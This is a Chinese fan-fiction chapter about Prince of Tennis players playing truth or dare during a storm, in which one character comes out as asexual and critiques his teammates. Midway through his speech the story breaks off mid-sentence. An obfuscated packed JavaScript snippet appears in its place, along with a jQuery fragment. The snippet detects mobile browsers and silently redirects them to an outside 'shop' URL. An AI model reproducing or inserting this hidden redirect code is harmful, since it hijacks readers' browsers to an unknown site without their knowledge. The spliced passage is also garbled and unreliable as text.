暴雨是在晚上九点十七分开始下的。
先是风，像某种巨型生物在基地外喘息，把松树吹得弯成危险的弧度。然后是雨，不是一滴一滴，是直接倒下来的，像天上破了个洞，把太平洋全灌进了山里。闪电劈下来的时候，整个基地都白了，紧接着是炸雷，震得玻璃窗嗡嗡作响。
然后，灯灭了。
星野碧坐在自己房间的躺椅上，脸上还敷着牛油果面膜，手里捧着平板正在看《继承之战》第四季，屏幕暗下去的瞬间，他听到走廊里传来此起彼伏的惨叫。
"停电了——！"
"我的存档——！"
"谁踩我脚！"
星野碧叹了口气，摸黑找到手机，打开手电筒，把面膜揭下来扔进垃圾桶。他披上一件丝绸睡袍（带帽子的，防雨），拿起应急灯，走出房门。
走廊里已经乱成一锅粥。国中生们像无头苍蝇一样乱窜，切原赤也在喊"有鬼啊——"，丸井文太在找他的Switch，桃城武和海棠薰撞在一起，越前龙马戴着帽子在黑暗中摸索，嘴里念叨着"还差的远呢"但明显慌了。
"各位，"星野碧举起应急灯，声音穿透混乱，"冷静。只是停电。以及，切原君，你踩到的是我的拖鞋，不是鬼。"
灯光照亮了他精致的脸，在黑暗中像一尊发光的雕像。
"星野前辈！"切原像看到救星一样扑过来，"怎么办！没电了！没法打游戏了！"
"你可以睡觉，"星野碧说，"或者，"他看了看窗外倾泻的暴雨，"祈祷基地有备用发电机。不过根据我的观察，这里的电路系统应该是昭和年代的产物，所以……"
"所以我们可能要摸黑过夜了，"种岛修二的声音从楼梯口传来，他举着一个露营灯，脸上带着那种"看好戏"的笑容，"好消息是，食堂有蜡烛和备用食物。坏消息是……"
他顿了顿，坏笑："……我们要一起度过这个夜晚了。"
---
二十分钟后，基地食堂。
这地方平时是用来让五十个肌肉少年抢饭团的战场，今晚却变成了一个诡异的露营现场。长桌被拼在一起，上面点着十几根蜡烛，火光摇曳，把每个人的脸都照得像恐怖片剧照。
平等院凤凰坐在角落，右肩缠着星野碧白天给他绑的肌内效贴布，脸色阴沉得像要杀人。Duke·渡边坐在他旁边，正在用蜡烛火烤棉花糖，香气弥漫。
手冢国光、不二周助、越前龙马坐在一侧，桃城、海棠、乾贞治挤在旁边。立海大的幸村精市、真田弦一郎、柳莲二、切原赤也、丸井文太占据了另一侧。冰帝的迹部景吾、忍足侑士、向日岳人、宍户亮、芥川慈郎围成一圈。还有四天宝寺的白石藏之介、千岁千里等人。
以及，被种岛修二和迹部景吾一左一右夹在中间的星野碧。
"……我才不要玩这种小屁孩的游戏，"星野碧第无数次抗议，他抱着手臂，穿着丝绸睡袍，头发因为刚摘了睡帽而有些乱，"真心话大冒险？那是国中生才会觉得刺激的东西。我有更好的提议——我们可以讨论柏拉图的《理想国》，或者分析费里尼的电影……"
"闭嘴，"平等院冷冷地说，"你吵得我肩膀疼了。"
"那你去睡觉啊，"星野碧回嘴，"或者继续吃Duke烤的棉花糖，虽然那个糖分含量会让你的炎症加重，但反正你也不听我的。"
"来玩嘛~?"种岛修二揽住星野碧的肩膀，把他往中间拉，"星野君，你看起来就是有很多秘密的样子。而且，"他压低声音，"你忘了？我们一样大啊，都是17岁，装什么大人？"
星野碧愣住了。
他眨了眨眼，看看种岛，又看看周围那些或兴奋或紧张的脸——平等院虽然臭脸但也没走，手冢推了推眼镜，不二笑眯眯地举着相机，龙马在啃饼干。
"哎呀，"星野碧突然泄了气，肩膀垮下来，"对哦，我也17岁……忘记了啦！平时看你们这些热血笨蛋，总觉得我在带夏令营，忘记我也是营员了。"
"那就是答应了，"迹部景吾打了个响指，"本大爷来制定规则。酒瓶转到谁，谁就要选择真心话或者大冒险。拒绝的人……"
"拒绝的人要喝一杯Duke调的鸡尾酒，"星野碧接话，"虽然未成年不该喝酒，但反正这里已经够无法无天了，不如破罐子破摔。"
"我不会调鸡尾酒，"Duke老实地说，"但我可以热牛奶……"
"那就热牛奶加威士忌，"星野碧说，"暖胃，助眠，以及，"他看向平等院，"对肌肉修复有好处，虽然对你没用，你已经无药可救了。"
"……你想死吗？"平等院眯起眼睛。
"来嘛来嘛！"切原赤也兴奋地转着空酒瓶，"我先来！"
瓶子转动，在蜡烛光中划出一道模糊的影，最后指向——
"……手冢前辈？"切原傻眼。
手冢国光坐在烛光里，表情严肃得像在参加葬礼。他推了推眼镜："……真心话。"
"哦豁~"丸井文太立刻凑过来，"手冢部长，你有喜欢的人吗？"
全场寂静。
这个问题像一颗炸弹丢进了湖里。
手冢的耳尖以肉眼可见的速度变红。他沉默了三秒，说："……太大意了。"
"这是回避！"切原起哄，"喝牛奶！喝牛奶！"
"等等，"不二周助突然开口，眼睛睁开了一条缝，"手冢，你刚才犹豫了三秒。根据我的观察，你平时回答''太大意了''只需要0.5秒。所以……"
"所以有情况！"忍足侑士推了推眼镜，镜片反光，"是青学的？还是冰帝的？该不会是……"
"越前，"星野碧突然插嘴，指着龙马，"肯定是你。手冢看龙马的眼神，那种''我要为你牺牲手臂''的执念，根本就是……"
"闭嘴！"手冢和龙马同时喊。
龙马的脸在帽子下红透了："还、还差的远呢！"
"看吧，"星野碧摊手，"被我说中了。手冢君，你的''牺牲美学''需要调整，喜欢一个人不是要为他断手断脚，那是恐怖片剧情，不是恋爱。"
手冢默默地拿起Duke递来的热牛奶威士忌，喝了一口，然后被辣得咳嗽。
"该我了，"手冢放下杯子，转动瓶子。
瓶子转啊转，指向了——迹部景吾。
"哼，"迹部挑眉，"本大爷选大冒险。尽管放马过来。"
"好~"幸村精市温柔地笑了，"那就……给星野碧涂护手霜，并且说''请原谅我之前对护肤的无知''。"
"什么？！"迹部瞪大眼睛，"本大爷怎么可能……"
"拒绝就喝特调！"切原晃着杯子。
迹部景吾看着星野碧，星野碧正用一种"我就看你怎么办"的眼神回视，手里还晃着一支Aesop的护手霜。
"……给我，"迹部咬牙切齿地抓过护手霜，抓起星野碧的手——那只手在烛光下白皙修长，指甲修剪得圆润精致——然后粗暴地挤了一大坨护手霜，开始涂抹。
"喂，轻点，大少爷，"星野碧皱眉，"你这是在揉面吗？要温柔，指腹打圈，从手腕到指尖……"
"请原谅我之前对护肤的无知！"迹部闭着眼睛快速说完，然后甩开星野碧的手，"满意了吗？"
"不满意，"星野碧看着自己被揉红的手，"你的手法太烂了，景吾，这样涂不均匀。以及，你耳朵红得像煮熟的虾子，是在害羞吗？"
"太不华丽了！"
接下来几轮，场面逐渐失控。
不二周助被问到"你最怕什么"，他微笑着说："怕星野碧不再给我做皮肤咨询。"然后被星野碧吐槽"假"。
真田弦一郎被问到"你帽子里是不是秃头"，他暴怒地摘下帽子——头发茂密——然后被星野碧说"现在不秃不代表以后不秃，你那个帽子太紧，会牵引性脱发"。
Duke被问到"为什么跟着平等院"，他憨厚地说："因为老大烤的肉好吃。"全场笑翻，平等院黑着脸说"我没烤过肉"。
越前龙雅被问到"有没有偷看过龙马洗澡"，他坏笑："小时候算吗？"龙马直接把饼干砸在他脸上。
德川和也被问到"对平等院到底是恨还是爱"，他沉默了很久，说："……是想要超越的执念。"星野碧立刻接话："那是斯德哥尔摩综合症，德川君，你需要的是心理治疗，不是训练。"
平等院被问到"最后一次哭是什么时候"，他冷冷地说："出生的时候。"星野碧吐槽："骗子，你肩伤发作的时候肯定偷偷哭过，我在你枕头边看到泪痕了。"平等院暴怒："那是汗水！"
终于，瓶子转向了星野碧。
"哦豁~"种岛修二兴奋地拍手，"终于到我们的''职业人士''了！选什么？真心话还是大冒险？"
星野碧抱着手臂："大冒险吧，真心话太无聊。"
"那就……"切原赤也坏笑，"对在场所有人发表''我爱你''，每个人！"
"……我选真心话，"星野碧立刻改口，"那个太恶心了，我做不到。"
"好~"不二周助突然凑近，眼睛在烛光下闪闪发亮，"那我要问——星野君，你有喜欢的人吗？或者说，"他顿了顿，"你有谈过恋爱吗？"
全场突然安静下来。
这个问题像按下了暂停键。所有人都看着星野碧——这个神秘的、优雅的、总是吐槽所有人的外援，这个在网络上有超高讨论度的"职业人士"。
星野碧愣住了。
他看着周围那些好奇的脸，看着平等院挑起的眉毛，看着手冢推眼镜的动作，看着龙马竖起的耳朵，看着迹部假装不在意但明显在听的表情，看着种岛修二八卦的眼神。
"完全没有，"星野碧说，声音轻了一点，"我没有谈过恋爱。也没有喜欢的人。"
"怎么可能！"切原赤也第一个叫起来，"星野前辈你这么帅！还是职业选手！网上都说你是''网球界的阿兰德龙''！怎么可能没谈过！"
"就是就是，"丸井文太附和，"而且你对护肤这么了解，对人也温柔……虽然嘴很毒。"
"是不是要求高？"忍足侑士问，"喜欢什么类型的？御姐？甜妹？还是……"他看了看在场的男生，"……阳光运动型？"
星野碧叹了口气。
他拿起面前的牛奶，喝了一口，然后放下杯子，环视全场。
"我是无性恋，"他说，声音平静但清晰，"Asexual。你们可能没听说过，或者听说过但以为是''禁欲系''。简单点说，就是我对恋爱没兴趣，对x也没兴趣。不是生理缺陷，不是''还没遇到对的人''，不是''受过情伤''，就是……天生的。就像你们喜欢网球，我喜欢……防晒和赢球，但我不喜欢人。"
死寂。
绝对的死寂，连蜡烛的噼啪声都听得见。
然后，越前龙雅吹了声口哨："哇哦~酷。"
"什么意思？"真田弦一郎皱眉，"无性恋？是……和尚的意思吗？"
"真田君，你的知识库需要更新了，"星野碧翻了个白眼，"不是和尚，是一种性取向。就像有人是异性恋，有人是同性恋，有人是双性恋，我是无性恋。我对人类没兴趣，不管男女。我只对网球、对皮肤管理、对……呃，对好看的衣服有兴趣。"
他顿了顿，又补充："而且我觉得，你们这些热血笨蛋把''恋爱''和''男子气概''看得太重了，很可笑。什么''为了你我愿意牺牲一切''，什么''保护你是我的使命''，什么''你是我想守护的人''……拜托，这是17岁不是7岁，这种肥皂剧台词说出来不羞耻吗？"
"肥皂剧是什么？"龙马小声问不二。
"甜腻的爱情电视剧，"不二轻声回答，但眼睛一直看着星野碧，"星野君，所以你才……总是置身事外？"
"也不是置身事外，"星野碧说，"我只是觉得，你们把太多精力放在''羁绊''、''情感''、''国家荣誉''这些虚无缥缈的东西上了。就像这个基地，"他指了指周围，"充满了toxic masculinity。平等院你，"他指向平等院，"把暴力当领导力，受伤也不说，硬撑着想当什么''绝对王者''，拜托，你肩膀都要废了，还王者呢？根本就是自虐狂。"
平等院瞪大眼睛："你……"
"还有手冢，"星野碧转向手冢，"你那套''为了青学我可以断手''的理论，根本就是情感勒索，对自己也是对别人。你断手了青学就能赢？不，你断手了青学就少了一个战力，而且你队友会愧疚，这是双重伤害。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268798|198105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聪明点好吗？"
手冢沉默地推了推眼镜。
"迹部，"星野碧又看向迹部，"你那200个啦啦队，那种''沉醉在本大爷的美技之下''的表演，根本就是在掩盖不安全感。你怕别人觉得你是靠家里的花瓶，所以拼命用华丽来证明自己。但真正的自信，"他指了指自己，"是像这样就穿睡衣也觉得自己很美，不需要别人沉醉，我自己沉醉。"
迹部张了张嘴，想反驳，但最终没说出话。
"真田，"星野碧转向真田，"你的帽子、你的''太松懈了''、你的居合斩，都是表演，表演给一个叫''真田弦一郎''的刻板印象看。你累不累啊？17岁就要当老干部，30岁你要当什么？化石吗？"
真田的嘴抽搐了一下。
"幸村，"星野碧看向幸村，"你的''神之子''面具戴得太紧了，紧到你连画油画都不敢画错一笔。但真正的艺术就是错误，就是混乱。你把自己绷得这么紧，早晚会断，不是身体断，是心理断。到时候就不是肩伤那么简单了，是倦怠综合征。"
幸村微笑着，但笑容里多了一丝苦涩："……星野君，你看穿了呢。"
"德川，"星野碧看向德川，"你对平等院的执念，根本不是''想要超越''，是''想要被认可''。你把他当爹了，德川君，虽然你没有恋父情结，但你有权威崇拜。你需要的是心理咨询，不是训练。"
德川低下头。
"还有龙马，"星野碧看向越前龙马，"你那个''还差的远呢''，是防御机制，因为你怕输，所以先贬低别人。矮子有时候就是矮子，"星野碧残忍地说，"但矮子也可以打网球，纳达尔也不到180，重点不是身高，是你为什么那么在意身高。你缺爱吗？因为你爹越前南次郎不靠谱天天看好身材辣妹？那是他的错，不是你的错，你不用靠打败所有人来证明你值得被爱。"
龙马愣住了，帽子下的眼睛睁得大大的，眼眶有点红。
"种岛，"星野碧看向种岛修二，"你恐飞，但你不说，你用''我就是不喜欢飞机''来掩饰。掩饰就是软弱，承认恐惧才是勇敢。以及你那个''腹黑''人设，太累了，17岁就要算计这么多，你30岁会秃头的，真的。"
种岛修二苦笑："……我知道了啦。"
"Duke，"星野碧看向Duke，"你太善良了，善良到有点蠢。平等院救了你妹妹，你就跟他一辈子？那是恩情，不是卖身契。你有自己的职业前途，别为了报恩把自己搭进去。而且，"他看向平等院，"平等院救人的时候根本就没想过要回报，你这种感恩戴德对他来说反而是负担，对不对，平等院？"
平等院沉默了一下，低声说："...…啰嗦。"
星野碧说完，喘了口气，拿起牛奶一饮而尽。
"所以，"他放下杯子，环视全场，"我不是不喜欢你们，我只是觉得，你们活得太累了。为了国家，为了荣誉，为了男子气概，为了羁绊……这些大的、虚的、外部的东西，把你们压得喘不过气。而我，"他指了指自己，"我只为我自己打球，为我的皮肤，为我的排名，为我的银行账户。这很自私，但很轻松。以及，"他补充，"我不谈恋爱，因为恋爱在我优先级列表里排第100位，前面99位都是关于我怎么让自己过得更好。"
又是一阵沉默。
然后，切原赤也突然说："但是，星野前辈，你不会觉得孤单吗？"
星野碧愣了一下。
他看着切原，那个总是"恶魔化"、总是热血上头的红眼少年，此刻眼里却有一种真诚的关心。
"不会啊，"星野碧说，声音软了下来，"我有网球，有书，有面膜，有我妈。以及，"他看了看周围的人，摊了摊手，"我有你们这些……虽然笨蛋但还算有趣的''同事''。我不需要恋爱来填补空虚，我自己就很充实。"
"而且，"他突然笑了，那种17岁少年特有的、有点狡黠的笑容，"我可以八卦你们的恋爱啊。看手冢和龙马那种暧昧，看迹部和忍足的微妙互动，看平等院和德川的相爱相杀，比我自己谈有趣多了。我是观众，不是演员，懂吗？"
"谁和忍足那家伙有微妙互动啊！"迹部暴怒。
"和越前暧昧？"手冢难得地提高了声音。
"谁和那家伙相爱相杀！？"平等院和德川同时喊，然后互相看了一眼，又迅速移开视线。
"看吧，"星野碧摊手，"反应这么大，肯定有鬼。"
种岛修二突然大笑起来，笑得拍桌子："哈哈哈哈！星野君，你太有趣了！我第一次看到这么多人同时被戳中痛点！"
"这不是痛点，是……"星野碧脸不红心不跳地纠正。
"这句话太不纯洁了，"不二周助说，但他在笑，"不过，星野君，谢谢你告诉我们这些。虽然……虽然有点伤人，但……"
"但很真实，"幸村接话，"就像星野君说的，我们确实……绷得太紧了。"
"所以，"星野碧站起来，伸了个懒腰，"游戏结束，我要去睡觉了。暴雨明天应该就会停，然后我们要去澳大利亚，对吧？在那之前，我建议大家都去照照镜子，看看你们疲惫的脸，然后……"他指了指自己的房间方向，"去我那里领面膜，每人一片，免费。算是……今晚的精神损失费。"
他转身要走，平等院突然开口："……喂，星野。"
"嗯？"
"……那个，"平等院别过脸，烛光下他的侧脸有点红，"肩伤……谢谢你。还有……那个……无性恋什么的，我不觉得恶心。就这样。"
星野碧愣了一下，然后笑了："……哦？平等院君，你在关心我的感受？天哪，这是奇迹。你要不要也领一片面膜？"
"滚！"
星野碧笑着走出食堂，身后传来众人的议论声和笑声。暴雨还在下，但他心里却异常平静。
"17岁啊，"他自言自语，"还是孩子呢，这群人。"
他回到房间，点上香薰蜡烛，开始涂晚霜。
窗外，雨声渐小。明天又是新的一天，又是新的吐槽，新的比赛，新的……热血笨蛋们。
但至少今晚，他们都看到了彼此真实的样子——疲惫的、脆弱的、不完美但真实的17岁。
而这，比任何"光击球"都更有力量。